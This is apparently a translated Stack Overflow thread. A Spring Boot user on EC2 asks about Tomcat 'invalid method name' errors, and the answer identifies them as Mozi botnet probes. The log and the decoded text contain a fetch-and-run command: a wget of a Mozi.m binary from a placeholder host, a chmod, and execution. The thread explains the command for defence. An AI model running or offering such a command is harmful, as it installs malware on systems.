我有几个使用springs引导构建的站点,并在带有Docker的EC2实例上部署。经过一段时间后,所有这些网站都会崩溃。当我检查Docker容器日志时,我看到IllegalArgumentExceptions和这个类似,它的方法名很长,看上去很神秘。知道是什么导致的吗?部署是一个带有Docker构建一个springboot容器、一个mysql容器和一个mysql备份容器的EC2实例。
java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:261) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_212]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_212]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
at java.lang.Thread.run(Thread.java:748) [na:1.8.0_212]发布于 2022-01-18 07:02:08
TL;DR
您的系统/路由器受到攻击--看起来有人试图安装“墨子恶意软件”--参见https://blog.lumen.com/new-mozi-malware-family-quietly-amasses-iot-bots/。
详细信息
调用tomcat时使用的不是真正的HTML方法。所以打电话的人--不管是什么--都会做非常奇怪的事情。它看起来像是发送了一个脚本,而不是HTTP消息。
...After有一段时间所有这些网站都会.
看起来像是拒绝服务,因为网络流量非常糟糕。
分析
让我们分析您的输出:
java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]阅读我们看到的实现
// from Http11InputBuffer.java ... (tomcat-embed-core-9.0.48.jar)
// Avoid unknown protocol triggering an additional error
request.protocol().setString(Constants.HTTP_11);
String invalidMethodValue = parseInvalid(parsingRequestLineStart, byteBuffer);
throw new IllegalArgumentException(sm.getString("iib.invalidmethod", invalidMethodValue));
//...具有包含以下内容的消息属性文件:
iib.invalidmethod=Invalid character found in method name [{0}]. HTTP method names must be tokens而给定的异常字符串(0)是:
27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$
未编码的:
'wget http://%s:%d/Mozi.m -O -> /tmp/Mozi.m;chmod 777 /tmp/Mozi.m;/tmp/Mozi.m dlink.mips $'看起来像一个脚本被发送,它试图获取一个叫做"Mozi.m“的东西,使它可以执行并调用它.ups..。
So....doing关于“Mozi.m”的一个简单的网络研究.我发现:
因此,看来有人用大量的HTTP请求攻击路由器,试图闯入。路由器转发恶意请求和tomcat确实处理和拒绝它们(正确),但有太多的请求,系统就会崩溃。
进一步步骤
咨询您的网络安全部门或咨询安全专家,并尽快调查发生了什么,以及您的系统是否被篡改/劫持。
海事组织应先对这些请求进行过滤,然后再对其进行过滤。
https://stackoverflow.com/questions/70750961
复制相似问题